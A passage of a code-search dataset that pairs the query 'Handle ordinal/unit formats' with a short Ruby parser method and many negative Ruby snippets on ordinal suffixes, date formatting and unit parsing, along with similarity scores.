"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Handle ordinal/dayname formats: o u
|
def handle_o_dn
handle_o
handle_possible(SeparatorSpace)
handle_dn
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinalize(date)\n\t date = datetime(date)\n\t \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n\tend",
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinalize(date)\n date = datetime(date)\n d = \"<span class='date-month'>#{date.strftime('%b')}</span> \"\n d = \"<span class='date-day'>#{date.strftime('%e')}</span> \"\n d += \"<span class='date-suffix'>#{ordinal_suffix(date)}</span>, \"\n d += \"<span class='date-year'>#{date.strftime('%Y')}</span>\"\n end",
"def ordinalize(date)\n \"#{date.strftime('%b %-d')}#{ordinal_suffix(date)}, #{date.strftime('%Y')}\"\n end",
"def ordinalize(date)\n date = datetime(date)\n \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n end",
"def format_ordinal(number)\n number.to_s + ORDINALS.fetch(number.to_s[-1].to_sym, 'th')\nend",
"def statement_day_ordinal\n return '' if statement_day.nil?\n statement_day.ordinalize\n end",
"def abbr_day_name; Date::ABBR_DAYNAMES[wday] end",
"def strftime_with_ordinal(date_time, format_string)\n ordinal = case date_time.day\n when 1, 21, 31 then \"st\"\n when 2, 22 then \"nd\"\n when 3, 23 then \"rd\"\n else \"th\"\n end\n\n date_time.strftime(format_string.gsub(\"%o\", ordinal))\n end",
"def strftime_ordinalized(fmt, format=nil)\n strftime(fmt.gsub(/(^|[^-])%d/, '\\1_%d_')).gsub(/_(\\d+)_/) { |s| s.to_i.ordinalize }\n end",
"def ordinal_abbreviation; end",
"def get_day_name(day) \n day_name = \"\"\n\n case day \n when \"Mon\"\n day_name = \"Monday\"\n when \"Tues\"\n day_name = \"Tuesday\"\n when \"Wed\"\n day_name = \"Wednesday\"\n when \"Thur\"\n day_name = \"Thursday\"\n when \"Fri\"\n day_name = \"Friday\"\n when \"Sat\"\n day_name = \"Saturday\"\n when \"Sun\"\n day_name = \"Sunday\"\n else\n day_name = \"Invalid abbreviation\"\n end \n\n return day_name\nend",
"def day_convert(v)\n case v\n when nil, 0 then nil\n when Numeric then day_convert(year_convert(v))\n when IsoYear then day_convert(v.to_s)\n when IsoDay then v.to_s\n when IsoDate then day_convert(v.to_s)\n when START_PATTERN[:complete] then \"#{$2}-#{$3}-#{$4}\"\n when START_PATTERN[:day] then $1\n when START_PATTERN[:year] then \"#{$1}-01-01\"\n else day_convert(date_parse(v))\n end\n end",
"def day_name; Date::DAYNAMES[wday] end",
"def parse_day(day)\n '%.2d' % day.to_i\n end",
"def test_translate_given_a_day_name_format_it_returns_the_correct_day_name\r\n assert_equal 'Dienstag', @backend.localize('de', @morning, '%A')\r\n end",
"def test_translate_given_a_day_name_format_it_returns_the_correct_day_name\n assert_equal 'Dienstag', @backend.localize('de', @morning, '%A')\n end",
"def format_date(date, format)\n date = datetime(date)\n if format.nil? || format.empty? || format == \"ordinal\"\n date_formatted = ordinalize(date)\n else\n format.gsub!(/%a/, ABBR_DAYNAMES_DE[date.wday])\n format.gsub!(/%A/, DAYNAMES_DE[date.wday])\n format.gsub!(/%b/, ABBR_MONTHNAMES_DE[date.mon])\n format.gsub!(/%B/, MONTHNAMES_DE[date.mon])\n date_formatted = date.strftime(format)\n end\n date_formatted\n end",
"def parse_day(time)\n sounds_for_number(time.strftime(\"%-d\"))\n end",
"def century_name_ending(number)\n if number[-2] == '1' # 10-19 are last two digits\n 'th'\n else\n case number[-1]\n when '0', '4', '5', '6', '7', '8', '9' then 'th'\n when '1' then 'st'\n when '2' then 'nd'\n when '3' then 'rd'\n end\n end\nend",
"def get_day_name(day) #convert name into the actual day_name\n day_name = \"\"\n\ncase day\nwhen \"mon\"\n day_name =\"Monday\"\nwhen \"mon\"\n day_name =\"Monday\"\nwhen \"mon\"\n day_name =\"Monday\"\nwhen \"thu\"\n day_name =\"Thursday\"\nwhen \"fri\"\n day_name =\"Friday\"\nwhen \"sat\"\n day_name =\"Saturday\"\nwhen \"sun\"\n day_name =\"Sunday\"\nelse #in case user write an option that doesnt exit we could use else keyword\n day_name = \"Invalid abbreviation\"\nend \n\nreturn day_name\nend",
"def ordinal(input)\n if (11..13).include?(input.to_i % 100)\n \"#{input}th\"\n else\n case input.to_i % 10\n when 1 then \"#{input}st\"\n when 2 then \"#{input}nd\"\n when 3 then \"#{input}rd\"\n else \"#{input}th\"\n end\n end\n end",
"def ordinalize(number)\n if (number.to_i==-1)\n\t'last'\n elsif (number.to_i==-2)\n\t'second to last'\n elsif (11..13).include?(number.to_i % 100)\n\t\"#{number}th\"\n else\n\tcase number.to_i % 10\n\t when 1 then \"#{number}st\"\n\t when 2 then \"#{number}nd\"\n\t when 3 then \"#{number}rd\"\n\t else \"#{number}th\"\n\tend\n end\n end",
"def english_ordinal n\n str = n.to_s\n str +\n case str\n when /11$/, /12$/, /13$/\n 'th'\n when /1$/\n 'st'\n when /2$/\n 'nd'\n when /3$/\n 'rd'\n else\n 'th'\n end\nend",
"def no_date(input)\n if input\n if input == 'ND' or input == 'none'\n 'DATE UNKNOWN'\n else\n input.to_s.upcase\n end\n end\n end",
"def ordinal\n self.to_s +\n if (11..13).include?(self % 100)\n \"th\"\n else\n case self % 10\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n end\n end",
"def validate_day day_string\r\n day_int = day_string.to_i\r\n if day_int > 19850501 && day_int < 20850501\r\n return day_string.to_s\r\n else\r\n return current_day\r\n end\r\n end",
"def nice_day string\r\n string = string.to_s\r\n return convert_day_to_date(string).strftime('%A, %B %e, %Y') if string.length == 8\r\n return Date.new(string).strftime('%A, %B %e, %Y')\r\n end",
"def ordinalize\n if (11..13).include?(self % 100)\n \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def wday_shortname date\n %w'вс пн вт ср чт пт сб'[date.wday]\n end",
"def ordinalize(num_str)\n if num_str[-2] == '1'\n \"#{num_str}th\"\n else\n case num_str[-1]\n when '0' || '4' || '5' || '6' || '7' || '8' || '9' \n \"#{num_str}th\"\n when '1'\n \"#{num_str}st\"\n when '2'\n \"#{num_str}nd\"\n when '3'\n \"#{num_str}rd\"\n end\n end\nend",
"def lunar_date(year, month, day)\n l = yang_to_nong(year, month, day)\n l[0].to_s + '-' + l[1].to_s + '-' + (/^\\d+/.match(l[2].to_s)).to_s\n end",
"def handle_dn\n @wday = Date::DAYS[@tokens[@index].get_tag(DayName).type]\n @index += 1\n @precision = :day\n end",
"def date_dashes(d)\n d && d.length == 8 ? d.slice(0, 4) + \"-\" + d.slice(4, 2) + \"-\" + d.slice(6, 2) : d\n end",
"def ordinal(num)\n\tnum = num.to_s\n\tnum2 = num.to_i\n\n if num == \"1\" || num2 % 10 == 1 && num[num.length-2] != \"1\"\n return \"st\"\n elsif num == \"2\" || num2 % 10 == 2 && num[num.length-2] != \"1\"\n return \"nd\"\n elsif num == \"3\" || num2 % 10 == 3 && num[num.length-2] != \"1\"\n return \"rd\"\n else\n return \"th\"\n end\nend",
"def getDayName(abv)\n day_name = \"\"\n case abv.downcase()\n when \"mon\"\n day_name = \"Monday\"\n when \"tue\"\n day_name = \"Tuesday\"\n when \"wed\"\n day_name=\"Wednseday\"\n when \"thur\"\n day_name=\"Thursday\"\n when \"fri\"\n day_name=\"Friday\"\n when \"sat\"\n day_name=\"Saturday\"\n when \"sun\"\n day_name=\"Sunday\"\n else\n day_name = \"Invalid Abbreviation\"\n end\n \n return day_name\nend",
"def day_string(value)\n day = month = year = nil\n if value.is_a?(String)\n case (value = value.strip)\n when /^\\d{4}$/ then day = year = \"#{value}-01-01\"\n when /^\\d{4}(\\D?)\\d{2}$/ then day = month = \"#{value}#{$1}01\"\n else day = value\n end\n end\n # noinspection RubyMismatchedReturnType\n return day, !!month, !!year\n end",
"def day_string(value)\n day = month = year = nil\n if value.is_a?(String)\n case (value = value.strip)\n when /^\\d{4}$/ then day = year = \"#{value}-01-01\"\n when /^\\d{4}(\\D?)\\d{2}$/ then day = month = \"#{value}#{$1}01\"\n else day = value\n end\n end\n # noinspection RubyMismatchedReturnType\n return day, !!month, !!year\n end",
"def ordinal_suffix(number)\n last_two_digits = number.abs % 100\n\n if (11..13).include?(last_two_digits)\n \"th\"\n else\n last_digit = number.abs % 10\n case last_digit\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def ordinal\n case self % 100\n when 11..13; \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def ordinal(number)\n \tending =\n case number % 100\n when 11, 12, 13 then 'th'\n else\n case number % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\t\treturn number.to_s + ending\n end",
"def normalize(v)\n v = strip_copyright(v) if v.is_a?(String)\n day_convert(v)\n end",
"def numericize_ordinals(text) #:nodoc:\n text = text.gsub(/\\b(\\d*)(st|nd|rd|th)\\b/, '\\1')\n end",
"def display_str_for_early_numeric\n return unless orig_date_str.match(EARLY_NUMERIC)\n # return 1 B.C. when the date is 0 since there is no 0 year\n return '1 B.C.' if orig_date_str == '0'\n # negative number becomes B.C.\n return \"#{orig_date_str[1..-1].to_i + 1} B.C.\" if orig_date_str =~ /^\\-/\n\n # remove leading 0s from early dates\n \"#{orig_date_str.to_i} A.D.\"\n end",
"def get_day_name(day)\n# setting a variable with an empty string first\n day_name = \"\"\n\n# instead of writing a LONG if statement for all 7 days\n# we will set up a case expression\n case day\n when \"mon\"\n day_name = \"Monday\"\n when \"tue\"\n day_name = \"Tuesday\"\n when \"wed\"\n day_name = \"Wednesday\"\n when \"thu\"\n day_name = \"Thursday\"\n when \"fri\"\n day_name = \"Friday\"\n when \"sat\"\n day_name = \"Saturday\"\n when \"sun\"\n day_name = \"Sunday\"\n #if user enters invalid abbreviation\n else\n day_name = \"Invalid abbreviation\"\n end #end of case\n return day_name\nend",
"def ordinal_indicator(number)\n if number == 0\n return \"zero\"\n elsif number.to_s.chars.map(&:to_i).last == 1 && number != 11\n return \"#{number}st\"\n elsif number.to_s.chars.map(&:to_i).last == 2 && number != 12\n return \"#{number}nd\"\n elsif number.to_s.chars.map(&:to_i).last == 3 && number != 13\n return \"#{number}rd\"\n else\n return \"#{number}th\"\n end\nend",
"def ordinal(n)\n ending = case n % 100\n when 11, 12, 13 then 'th'\n else\n case n % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\n \"#{n}#{ending}\"\nend",
"def ordinal(number)\n abs_number = number.to_i.abs\n\n if (11..13).include?(abs_number % 100)\n \"th\"\n else\n case abs_number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def ordinalize(number)\n if (11..13).include?(number.to_i.abs % 100)\n \"#{number}th\"\n else\n case number.to_i.abs % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def append_ordinal_suffix(num)\n case num % 10\n when 1 \n \"st\"\n when 2\n \"nd\"\n when 3\n \"rd\"\n else\n \"th\"\n end\nend",
"def day_format(date)\n return nil if date.blank?\n date.strftime('%d')\n end",
"def day_format(date)\n return nil if date.blank?\n date.strftime('%d')\n end",
"def format_date(date)\n date.strftime(\"%b #{date.day.ordinalize}, %Y\")\n end",
"def input_date_format(date)\n if date.split(\"-\").count > 2\n new_date = date.split(\"-\")\n return new_date[1] + \"-\" + new_date[0]\n else\n return date\n end\n end",
"def ordinal(num)\ncase num\n when 1\n \"1st\"\n when 2\n '2nd'\n when 3\n '3rd'\n when 4\n '4th'\n when 5\n '5th'\n when 6\n 'last'\n end\nend",
"def ordinalize(number)\n if (11..13).include?(number.to_i % 100)\n \"#{number}th\"\n else\n case number.to_i % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def date(input, format); end",
"def formatConvertor(inputFormat)\n\n inputFormat.sub! 'DD', '%d'\n inputFormat.sub! 'YYYY', '%Y'\n inputFormat.sub! 'YY', '%Y'\n inputFormat.sub! 'MM', '%m'\n inputFormat.sub! 'hh', '%H'\n inputFormat.sub! 'mm', '%M'\n inputFormat.sub! 'ss', '%S'\n inputFormat.sub! 'HH', '%I' # HH - for hour of the clock (12 hour)\n inputFormat.sub! 'A/P', '%p'\n inputFormat.sub! 'MON', '%b' # Jan/Feb etc\n #inputFormat.sub! 'TZ', '%z' # TimeZone\n\n\nend",
"def format_fuzzy_date(d)\n if is_numeric_string(d, 8)\n year, mon, day = d.slice(0, 4), d.slice(4, 2), d.slice(6, 2)\n date = ''\n if year.to_s.length > 0 && year != '0000'\n date += year\n end\n if mon.to_s.length && mon != '00'\n mon_int = mon.to_i\n date += '-' + sprintf(\"%02d\", mon_int)\n\n if day.to_s.length && day != '00'\n day_int = day.to_i\n date += '-' + sprintf(\"%02d\", day_int)\n end\n end\n return date\n end\n d\n end",
"def ordinalize(number)\n if (11..13).include?(number.to_i.abs % 100)\n \"#{number}th\"\n else\n case number.to_i.abs % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def ordinalize(number)\n if (11..13).include?(number.to_i.abs % 100)\n \"#{number}th\"\n else\n case number.to_i.abs % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def normalize_date(date)\r\n if date.chars.length==3\r\n norm_date = Date.strptime(date, '%m-%d')\r\n else\r\n norm_date = Date.strptime(date, '%m-%d-%y')\r\n end\r\n norm_date = norm_date.to_s\r\nend",
"def name_of_day(style = :full)\n @time.strftime(style == :full ? \"%A\" : \"%a\")\n end",
"def ordinal(year=-4712, yday=1, sg=nil)\n super(year, yday)\n end",
"def american_date_translate(value)\n value.to_s.strip.sub(AMERICAN_DATE) do\n mm = $1.to_s\n dd = $3.to_s\n yy = $4.to_s\n yy = '%02d%02d' % [DateTime.now.year.div(100), yy] if yy.size == 2\n '%04d-%02d-%02d' % [yy, mm, dd]\n end\n end",
"def eval_date\n # FIXME: Make pref?\n h = Hash[\"mo\", 1, \"di\", 2, \"mi\", 3, \"do\", 4, \"fr\", 5, \"???\", 6]\n h.merge(Hash[\"mo\", 1, \"tu\", 2, \"we\", 3, \"th\", 4, \"fr\", 5, \"???\", 6])\n a = description.strip.downcase\n a = \"???\" if a.length < 3 || !h.include?(a[0..1])\n day = h[a[0..1]]\n time = a[2..a.length-1].strip.rjust(3, \"0\")\n \"#{day} #{time}\"\n end",
"def ordinal\n ActiveSupport::Inflector.ordinal(self)\n end",
"def wrong_date(num)\n first_day(num).text\nend",
"def fmt_dow_date(dt) _format_dt dt, DOW_M_D end",
"def normalize_day_list(match)\n match[:days].gsub(',', '').gsub(' and', ' ').gsub(/\\s+/, ' ').split(' ')\n .map(&:capitalize)\n end",
"def orden_reg_fecha\n case @formato_fecha\n when 'd-m-y'\n @reg_fecha_sin_sep = /([0-9]{2})([0-9]{2})([0-9]{4})/\n '\\3-\\2-\\1'\n when 'm-d-y'\n @reg_fecha_sin_sep = /([0-9]{2})([0-9]{2})([0-9]{4})/\n '\\3-\\1-\\2'\n when 'y-m-d'\n @reg_fecha_sin_sep = /([0-9]{4})([0-9]{2})([0-9]{2})/\n '\\1-\\2-\\3'\n end\n end",
"def date_str_for_display\n return if orig_date_str == '0000-00-00' # shpc collection has these useless dates\n # B.C. first in case there are 4 digits, e.g. 1600 B.C.\n return display_str_for_bc if orig_date_str.match(BC_REGEX)\n # decade next in case there are 4 digits, e.g. 1950s\n return display_str_for_decade if orig_date_str.match(DECADE_4CHAR_REGEXP) || orig_date_str.match(DECADE_S_REGEXP)\n\n result = sortable_year_for_yyyy_or_yy\n unless result\n # try removing brackets between digits in case we have 169[5] or [18]91\n no_brackets = remove_brackets\n return DateParsing.new(no_brackets).date_str_for_display if no_brackets\n end\n # parsing below this line gives string inapprop for year_str_valid?\n unless self.class.year_str_valid?(result)\n result = display_str_for_century\n result ||= display_str_for_early_numeric\n end\n # remove leading 0s from early dates\n result = \"#{result.to_i} A.D.\" if result && result.match(/^0\\d+$/)\n result\n end",
"def ord(day)\n\nend",
"def month_name(number); end",
"def nice_dob\n\t\t@nice_dob = @dob.strftime(\"%A the #{@dob.day.ordinalize} %B %Y\")\n\tend",
"def ordinal(int)\n ActiveSupport::Inflector.ordinalize(int.to_i)\n end",
"def utc_day_str\n self.datetime.strftime(\"%A\")\n end",
"def year_name(number); end",
"def day_str(args = nil)\n ret = Datet.days(:trans => true)[self.day_in_week]\n if args and args[:short]\n ret = ret.slice(0, 3)\n end\n \n return ret\n end",
"def ordinalize(number)\n Geode::FastInflector.ordinalize(number.to_i)\n end",
"def ordinal(number)\n\t if (11..13).include?(number.to_i % 100)\n\t \"#{number}<sup>th</sup>\"\n\t else\n\t case number.to_i % 10\n\t when 1; \"#{number}<sup>st</sup>\"\n\t when 2; \"#{number}<sup>nd</sup>\"\n\t when 3; \"#{number}<sup>rd</sup>\"\n\t else \"#{number}<sup>th</sup>\"\n\t end\n\t end\n\tend",
"def date_text\n case date_code\n when -1\n \"今\"\n when 0\n \"今日\"\n when 1\n \"明日\"\n when 2\n \"明後日\"\n else\n \"#{date_code}日後\"\n end\n end",
"def inspect\n \"the day of the month is the \" + ordinal_list(@parts)\n end",
"def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n\n 'Mon..Fri'\n end",
"def localize_time_of_day(time)\n if time.nil?\n return I18n.localize(DateTime.new)\n .remove('01/01/-4712')\n .strip\n .gsub(/\\d/, '_')\n end\n\n I18n.localize(time)\n .remove('01/01/2000')\n .strip\n end",
"def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n return 'Mon..Fri'\n end",
"def day?(v)\n normalize(v).to_s.match?(MATCH_PATTERN[:day])\n end",
"def handle_ds\n @day_special = @tokens[@index].get_tag(DaySpecial).type\n @index += 1\n @precision = :day_special\n end",
"def name_of_day\n if day_of_week == -1\n DAY_NAMES[day_of_week]\n else\n DAY_NAMES[day_of_week - 1]\n end\n end",
"def format_date_nicely(date)\nend",
"def normalize_us_holidays(text) #:nodoc:\n normalized_text = text.to_s.downcase\n normalized_text.gsub!(/\\bnew\\syear'?s?(\\s)?(day)?\\b/, \"january 1, #{next_appropriate_year(1, 1)}\")\n normalized_text.gsub!(/\\bnew\\syear'?s?(\\s)?(eve)?\\b/, \"december 31, #{next_appropriate_year(12, 31)}\")\n normalized_text.gsub!(/\\bm(artin\\s)?l(uther\\s)?k(ing)?(\\sday)?\\b/, 'third monday in january')\n normalized_text.gsub!(/\\binauguration(\\sday)?\\b/, 'january 20')\n normalized_text.gsub!(/\\bpresident'?s?(\\sday)?\\b/, 'third monday in february')\n normalized_text.gsub!(/\\bmemorial\\sday\\b/, '4th monday of may')\n normalized_text.gsub!(/\\bindepend(e|a)nce\\sday\\b/, \"july 4, #{next_appropriate_year(7, 4)}\")\n normalized_text.gsub!(/\\blabor\\sday\\b/, 'first monday in september')\n normalized_text.gsub!(/\\bcolumbus\\sday\\b/, 'second monday in october')\n normalized_text.gsub!(/\\bveterans?\\sday\\b/, \"november 11, #{next_appropriate_year(11, 1)}\")\n normalized_text.gsub!(/\\bthanksgiving(\\sday)?\\b/, 'fourth thursday in november')\n normalized_text.gsub!(/\\bchristmas\\seve\\b/, \"december 24, #{next_appropriate_year(12, 24)}\")\n normalized_text.gsub!(/\\bchristmas(\\sday)?\\b/, \"december 25, #{next_appropriate_year(12, 25)}\")\n normalized_text.gsub!(/\\bsuper\\sbowl(\\ssunday)?\\b/, 'first sunday in february')\n normalized_text.gsub!(/\\bgroundhog(\\sday)?\\b/, \"february 2, #{next_appropriate_year(2, 2)}\")\n normalized_text.gsub!(/\\bvalentine'?s?(\\sday)?\\b/, \"february 14, #{next_appropriate_year(2, 14)}\")\n normalized_text.gsub!(/\\bs(ain)?t\\spatrick'?s?(\\sday)?\\b/, \"march 17, #{next_appropriate_year(3, 17)}\")\n normalized_text.gsub!(/\\bapril\\sfool'?s?(\\sday)?\\b/, \"april 1, #{next_appropriate_year(4, 1)}\")\n normalized_text.gsub!(/\\bearth\\sday\\b/, \"april 22, #{next_appropriate_year(4, 22)}\")\n normalized_text.gsub!(/\\barbor\\sday\\b/, 'fourth friday in april')\n normalized_text.gsub!(/\\bcinco\\sde\\smayo\\b/, \"may 5, #{next_appropriate_year(5, 5)}\")\n normalized_text.gsub!(/\\bmother'?s?\\sday\\b/, 'second sunday in may')\n normalized_text.gsub!(/\\bflag\\sday\\b/, \"june 14, #{next_appropriate_year(6, 14)}\")\n normalized_text.gsub!(/\\bfather'?s?\\sday\\b/, 'third sunday in june')\n normalized_text.gsub!(/\\bhalloween\\b/, \"october 31, #{next_appropriate_year(10, 31)}\")\n normalized_text.gsub!(/\\belection\\sday\\b/, 'second tuesday in november')\n normalized_text.gsub!(/\\bkwanzaa\\b/, \"january 1, #{next_appropriate_year(1, 1)}\")\n normalized_text\n end",
"def display_str_for_decade\n decade_matches = orig_date_str.match(DECADE_4CHAR_REGEXP) if orig_date_str\n if decade_matches\n changed_to_zero = decade_matches.to_s.tr('u\\-?x', '0') if decade_matches\n zeroth_year = DateParsing.new(changed_to_zero).sortable_year_for_yyyy if changed_to_zero\n return \"#{zeroth_year}s\" if zeroth_year\n else\n decade_matches = orig_date_str.match(DECADE_S_REGEXP) if orig_date_str\n return decade_matches.to_s.tr(\"'\", '') if decade_matches\n end\n end",
"def ordinal( number )\n\t\tcase number\n\t\twhen Integer\n\t\t\treturn number.to_s + (Nth[ number % 100 ] || Nth[ number % 10 ])\n\n\t\telse\n\t\t\treturn number.to_s.sub( /(#{OrdinalSuffixes})\\Z/ ) { Ordinals[$1] }\n\t\tend\n\tend",
"def heb_date\r\n return heb_day_name + \" ב\" + heb_month_name + \" \" + heb_year_name\r\n end",
"def century_suffix(century)\n return 'th' if [11, 12, 13].include?(century)\n\n case century\n when /1\\z/\n 'st'\n when /2\\z/\n 'nd'\n when /3\\z/\n 'rd'\n else\n 'th'\n end\nend",
"def era(date, pattern, length, options = {})\n choices = case length\n when 0\n [\"\", \"\"]\n when 1..3\n calendar.eras(:abbr)\n else\n calendar.eras(:name)\n end\n\n if result = choices[date.year < 0 ? 0 : 1]\n result\n else\n era(date, pattern[0..-2], length - 1)\n end\n end",
"def sortable_year_str_for_early_numeric\n return unless orig_date_str.match(EARLY_NUMERIC)\n\n if orig_date_str =~ /^\\-/\n # negative number becomes x - 1000 for sorting; -005 for -995\n num = orig_date_str[1..-1].to_i - 1000\n return '-' + num.to_s[1..-1].rjust(3, '0')\n else\n return orig_date_str.rjust(4, '0')\n end\n end",
"def translate_day_of_week( day )\n days = { :Mon => \"Понедельник\", :Tue => \"Вторник\", :Wed => \"Среда\", :Thu => \"Четверг\",\n :Fri => \"Пятница\" }\n days[ day.to_sym ]\n end",
"def calendar_date_header date\n \"#{I18n.translate('date.day_names')[date.wday]} #{I18n.localize date, format: :long}\"\n end",
"def format_dni\n\t if self.dni\n\t\t\t\tself.dni.upcase!\n\t\t\t\tself.dni = self.dni.rjust(9,\"0\") if self.dni.length < 9\n\t\t\tend\n\tend"
] |
[
"0.66976017",
"0.6593926",
"0.6592836",
"0.6549197",
"0.6518705",
"0.65027404",
"0.6470497",
"0.6424473",
"0.6380269",
"0.63734055",
"0.63484997",
"0.6294696",
"0.6283819",
"0.62375814",
"0.62309706",
"0.6222071",
"0.6197715",
"0.61763024",
"0.6166795",
"0.61426693",
"0.61293507",
"0.6115022",
"0.61050034",
"0.60936195",
"0.609087",
"0.6057775",
"0.6049029",
"0.6047003",
"0.60389763",
"0.60335636",
"0.5989388",
"0.59732914",
"0.59359413",
"0.5924267",
"0.58963275",
"0.5890322",
"0.5876238",
"0.58749455",
"0.58749455",
"0.58742535",
"0.58676535",
"0.585237",
"0.58391523",
"0.58356917",
"0.58325386",
"0.58264136",
"0.5817074",
"0.5805494",
"0.57980305",
"0.57935905",
"0.57920897",
"0.5777206",
"0.5777206",
"0.5772659",
"0.5763871",
"0.5759958",
"0.5748859",
"0.57299876",
"0.57192165",
"0.5714787",
"0.56805277",
"0.56805277",
"0.5657269",
"0.5642432",
"0.56344265",
"0.56270033",
"0.5624511",
"0.56174093",
"0.5613267",
"0.5602706",
"0.5596599",
"0.55917454",
"0.5582109",
"0.55813813",
"0.5578198",
"0.55779636",
"0.5577003",
"0.5570741",
"0.5569864",
"0.5568891",
"0.55575544",
"0.555099",
"0.5539096",
"0.55168897",
"0.5509239",
"0.5505858",
"0.550512",
"0.5498818",
"0.5484102",
"0.5479581",
"0.5474545",
"0.54712766",
"0.5463792",
"0.5463146",
"0.54497766",
"0.54487306",
"0.54320884",
"0.5428337",
"0.5426795",
"0.54267097",
"0.5417172"
] |
0.0
|
-1
|
Handle ordinal/unit formats: o u
|
def handle_o_u
handle_o
handle_possible(SeparatorSpace)
handle_u
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_unit!\n begin\n parse_alpha_unit!\n rescue InvalidFormat\n parse_numeric_unit!\n end\n end",
"def handle_u\n @unit = @tokens[@index].get_tag(Unit).type\n @index += 1\n @precision = :unit\n end",
"def parse_units\n # extract the unit suffix\n if self =~ /(\\d[\\d_]*(?:\\.\\d+)?)\\s*([a-zA-Z]+\\b|%(?= \\s|$))/\n units = $2.downcase\n num = $1 #.to_f\n num = num[\".\"] ? num.to_f : num.to_i\n\n case units\n when \"%\"\n # 0.01\n num / 100.0\n when \"k\"\n # 10**3\n num.thousand\n when \"m\", \"mm\"\n # 10**6\n num.million\n when \"b\", \"bn\"\n # 10**9\n num.billion\n when \"gib\", \"gb\", \"g\"\n num * 2**30\n when \"mib\", \"mb\"\n num * 2**20\n when \"kib\", \"kb\"\n num * 2**10\n when \"t\", \"tb\"\n # 10**12\n num.trillion\n when \"q\"\n # 10**15\n num.quadrillion\n when \"Q\"\n # 10**18\n num.quintillion\n when \"min\"\n # 1.minute\n num.minutes\n when \"hours\", \"h\", \"hr\", \"hrs\"\n # 1.hour\n num.hours\n when \"d\", \"days\", \"dy\"\n num.days\n else\n raise \"Invalid units: #{units.inspect}, in: #{self.inspect}\"\n end\n else\n raise \"Couldn't find any units to parse! (expecting: '<a number><some letters>')\"\n end\n end",
"def format_ordinal(number)\n number.to_s + ORDINALS.fetch(number.to_s[-1].to_sym, 'th')\nend",
"def ordinalize(num_str)\n if num_str[-2] == '1'\n \"#{num_str}th\"\n else\n case num_str[-1]\n when '0' || '4' || '5' || '6' || '7' || '8' || '9' \n \"#{num_str}th\"\n when '1'\n \"#{num_str}st\"\n when '2'\n \"#{num_str}nd\"\n when '3'\n \"#{num_str}rd\"\n end\n end\nend",
"def ordinal(input)\n if (11..13).include?(input.to_i % 100)\n \"#{input}th\"\n else\n case input.to_i % 10\n when 1 then \"#{input}st\"\n when 2 then \"#{input}nd\"\n when 3 then \"#{input}rd\"\n else \"#{input}th\"\n end\n end\n end",
"def convertUnitValue(value,unit)\n if (unit.present?)\n unit.strip!\n else\n return value\n end\n unitRegEx=/^([afpnu\\xC2\\xB5\\316\\274mcdhkMGTPE]?)[ ]*(.+)/\n matchSet=unitRegEx.match(unit)\n if (matchSet.nil?)\n return value\n else\n prefix=matchSet[1]\n baseUnit=matchSet[2]\n case prefix\n when \"a\"\n mult=1.0E-18\n when \"f\"\n mult=1.0E-15\n when \"p\"\n mult=1.0E-12\n when \"n\"\n mult=1.0E-9\n when \"u\",\"\\316\\274\",\"\\xC2\\xB5\"\n mult=1.0E-6\n when \"m\"\n mult=1.0E-3\n when \"c\"\n mult=1.0E-2\n when \"d\"\n mult=1.0E-1\n when \"\"\n mult=1.0\n when \"h\"\n mult=1.0E2\n when \"k\"\n mult=1.0E3\n when \"M\"\n mult=1.0E6\n when \"G\"\n mult=1.0E9\n when \"T\"\n mult=1.0E12\n when \"P\"\n mult=1.E15\n when \"E\"\n mult=1.0E18\n else\n mult=1.0\n end\n return value*mult\n end\n end",
